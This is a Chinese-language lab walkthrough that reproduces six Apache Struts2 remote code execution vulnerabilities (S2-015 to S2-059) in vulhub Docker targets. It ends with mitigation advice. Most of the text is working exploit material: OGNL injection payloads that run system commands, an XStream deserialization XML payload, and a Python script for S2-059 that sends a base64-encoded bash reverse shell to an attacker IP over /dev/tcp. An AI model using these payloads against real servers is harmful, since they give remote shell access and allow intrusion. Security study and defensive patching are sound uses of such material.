Strtus简介
Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web 应用的开源MVC框架,主要提供两个版本框架产品:Struts 1和Struts2;Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。
判断框架
常规办法有
1、通过页面回显的错误消息来判断,页面不回显错误消息时则无效。
2、通过网页后缀来判断,如.do.action,有可能不准。
3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
其它的方法:
通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。
利用方法:
如原始 URL 为 https://threathunter.org/则检测所用的 URL 为 https://threathunter.org/?actionErrors=1111
如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:
1、 页面直接出现 404 或者 500 等错误。
2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。
3、 页面的内容结构发生了明显的改变。
4、 页面发生了重定向。
影响版本
漏洞编号 | CVE编号 | 影响版本 | 实现功能 |
---|---|---|---|
S2-015 | CVE-2013-2135 | S2.0.0-2.3.14.2 | 任意命令执行和反弹shell |
S2-016 | CVE-2013-2251 | S2.0.0-2.3.15 | 获取WEB路径,任意命令执行,反弹shell和文件上传 |
S2-045 | CVE-2017-6738 | S2.3.5-2.3.31;2.5-2.5.10 | 获取WEB路径,任意命令执行,反弹shell和文件上传 |
S2-052 | CVE-2017-9805 | S2.1.2-2.3.33;2.5-2.5.12 | 任意命令执行和反弹shell和文件上传 |
S2-057 | CVE-2018-11776 | S2.3.-2.3.34;2.5-2.5.16 | 任意命令执行和反弹shell |
S2-059 | CVE-2019-0230 | S2.0.0-2.5.20 | 任意命令执行 |
S2-015(CVE-2013-2135)复现
原理:如果一个请求与任何其他定义的操作不匹配,它将被匹配*,并且所请求的操作名称将用于以操作名称加载JSP文件。并且,1作为OGNL表达式的威胁值,{ }可以在服务器端执行任意的Java代码。
影响版本:S2.0.0-2.3.14.2
复现流程
进入到vulhub-master目录下
ls
cd strtus2
ls
cd s2-015
ls
docker-compose up -d
访问靶场ip:port。如图搭建成功!
构造poc,使用抓包工具burp suite,修改数据包插入poc
poc使用之前要先进行url编码。
Poc:
${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘whoami’).getInputStream()),#q}.action
编码后:
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())%2C%23q%7D.action
4.使用工具。
S2-016(CVE-2013-2251)复现
原理:问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。
影响版本:Struts 2.0.0 – 2.3.15
复现流程
- 进入到vulhub-master目录下
ls
cd strtus2
ls
cd s2-016
ls
docker-compose up -d
- 访问靶场地址。
- poc测试
/index.action?redirect:%25%7B5*5%7D
命令被成功执行。说明存在漏洞。
- 使用工具检测。
S2-045(CVE-2017-6738)复现
原理:在使用基于 Jakarta 插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。
影响版本:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
漏洞复现
- 搭建环境
ls
cd strtus2
ls
cd s2-045
ls
docker-compose up -d
- 访问靶场地址。
http://192.168.100.244:8080/doUpload.action
- 随意上传一个文件并抓包。修改Content-Type。
%{(#test=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)?(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(10*100)).(#ros.flush())}
- 工具检测
S2-052(CVE-2017-9805)复现
原理:Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可被远程攻击。
影响版本:S2.1.2-2.3.33;2.5-2.5.12
漏洞复现
- 靶场环境搭建。
ls
cd strtus2
ls
cd s2-052
ls
docker-compose up -d
- 访问靶机地址。
- 点击edit进入到http://192.168.100.244:8080/orders/3/edit页面下,点击一下submit。
4.抓包且修改Content-Type。
poc:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/s2-052.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
- 返回服务端查看结果。
S2-057(CVE-2018-11776)复现
原理: -alwaysSelectFullNamespace为true。
-action元素没有设置namespace属性,或者使用了通配符。
命名空间将由用户从url传递并解析为OGNL表达式,最终导致远程代码执行漏洞。
影响版本:
Struts 2.3–2.3.34
Struts2.5–2.5.16
漏洞复现
- docker搭建靶场环境。
ls
cd strtus2
ls
cd s2-057
ls
docker-compose up -d
- 访问靶场地址。
- 构造poc,使用抓包工具burp suite,修改数据包插入poc。
poc:
/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('whoami')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action
url编码后
/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
S2-059(CVE-2019-0230)复现
原理:Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。
影响版本:S2.0.0-2.5.20
漏洞复现
- docker搭建靶场环境。
ls
cd strtus2
ls
cd s2-059
ls
docker-compose up -d
- 访问靶场地址。
http://host:8080/index.action
- 访问http://171.16.1.106:8080/?id=%25{66*66};
可以看到66*66被成功解析了
- poc
bash -i >& /dev/tcp/攻击机IP/6666 0>&1
Base64加密:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY...................
s2-059.py
import requests
url = "http://IP:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('bash -c {echo,IP base64加密}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
在终端运行s2-059.py进行bash反弹shell。
防护建议
官方解决方案
建议用户升级到不受影响的最新版本
临时修复方案
在用户不便进行升级的情况下,作为临时的解决方案,用户可以进行以下操作来规避风险:
修改Web-INF/classes目录下的struts.xml中的配置在Web-INF/classes目录下的struts.xml 中的struts 标签下添加
Java代码
<constant name="struts.custom.i18n.resources" value="global" />
- 在WEB-INF/classes/ 目录下添加 global.properties,文件内容如下
Java代码
struts.messages.upload.error.InvalidContentTypeException=1
- 配置过滤器过滤Content-Type的内容
在web应用的web.xml中配置过滤器,在过滤器中对Content-Type内容的合法性进行检测:
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
String contentType = request.getContentType().toLowerCase(
Locale.ENGLISH);
if (contentType != null && contentType.contains("multipart/form-data")
&& !contentType.startsWith("multipart/form-data")) {
response.getWriter().write("Reject!");
} else {
chain.doFilter(request, response);
}
}